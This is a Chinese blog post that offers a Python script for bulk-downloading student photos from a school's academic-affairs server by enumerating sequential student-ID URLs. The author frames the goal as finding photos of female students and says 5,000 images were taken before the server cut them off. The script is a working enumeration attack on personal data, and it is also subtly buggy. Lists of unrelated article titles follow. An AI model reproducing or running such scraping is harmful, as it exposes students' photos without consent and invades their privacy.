前提:你的教务管理系统是明文存储大家的图片,加密的图片就不好弄了...

也就是能够通过浏览器直接访问...技术上就不存在什么问题了...如果是学号存储的就更方便了

然后我们就可以写个小脚本了...其实就是直接url获取然后保存在本地...

第一个python小脚本...练手玩一玩...

如果要效率高可以用多线程...

大家就可以愉快的找到MM的照片啦! 不要太过火哟...我下载到5000张的时候就被远程停止了...sad...

 import urllib.request

 for i in range(10,10000):
name = "http://www.xx.edu.cn:8081/_photo/student/20110000"
tmp = '%d'%i
while(len(tmp) < 4):
tmp = "" + tmp
name = name + tmp + ".jpg"
print(name)
try:
socket = urllib.request.urlopen(name)
except:
print(name+"not exist")
finally:
data = socket.read()
path = r"F:\pic\"
path = path + tmp + ".jpg"
print(path)
with open(path,"wb") as jpg:
jpg.write(data)
socket.close()

解释一下...我是用python3.3   2.X的用户要用import urllib2

4-8行都是处理url字符串的...9行可要可不要

10行是测试该url是否可访问

14行之后就是保存到本地了

纯粹学术交流,请大家不要用于攻击等行为

最新文章

  1. win7右键在目录当前打开命令cmd窗口
  2. OS实验一实验报告
  3. .NET跨平台:在Linux上基于ASP.NET 5用EF7生成数据库
  4. 最新QQ强制聊天代码,同时可判断好友关系
  5. BackgroundCheck – 根据图片亮度智能切换元素样式
  6. Color Map的生成方法
  7. C#中IP地址转换为数值的方法
  8. LA4329 Ping pong(树状数组与组合原理)
  9. hibernate安装和配置和第一个Hibernate应用
  10. Iframe知识点
  11. C#实现GridView导出Excel
  12. 详解equals()方法和hashCode()方法
  13. JQuery中的回调对象
  14. Hadoop记录- Yarn Job MAX
  15. 【SPFA与Dijkstra的对比】CDOJ 1961 咸鱼睡觉觉【差分约束-负权最短路径SPFA】
  16. oracle io 等待图解
  17. Linux下出现command not found的解决办法
  18. ubuntu-16.04.1-desktop-amd64.iso:ubuntu-16.04.1-desktop-amd64:安装Oracle11gR2
  19. 学习Linux二(创建、删除文件和文件夹命令)
  20. 1109: [POI2007]堆积木Klo

热门文章

  1. 养活一款APP要“烧”多少钱?
  2. Springmvc JSON交互
  3. 怎样創建 iOS 展開式 UITableView?
  4. [学习笔记]BS架构与CS架构
  5. Webfont 的兼容性问题[持续更新]
  6. error C4996: &#39;fopen&#39;: This function or variable may be unsafe. Consider using fopen_s instead解决方案
  7. PostgreSQL Replication之第三章 理解即时恢复(1)
  8. vuejs on
  9. vue打包后显示空白正确处理方法
  10. Centos7不修改默认交换分区下添加交换分区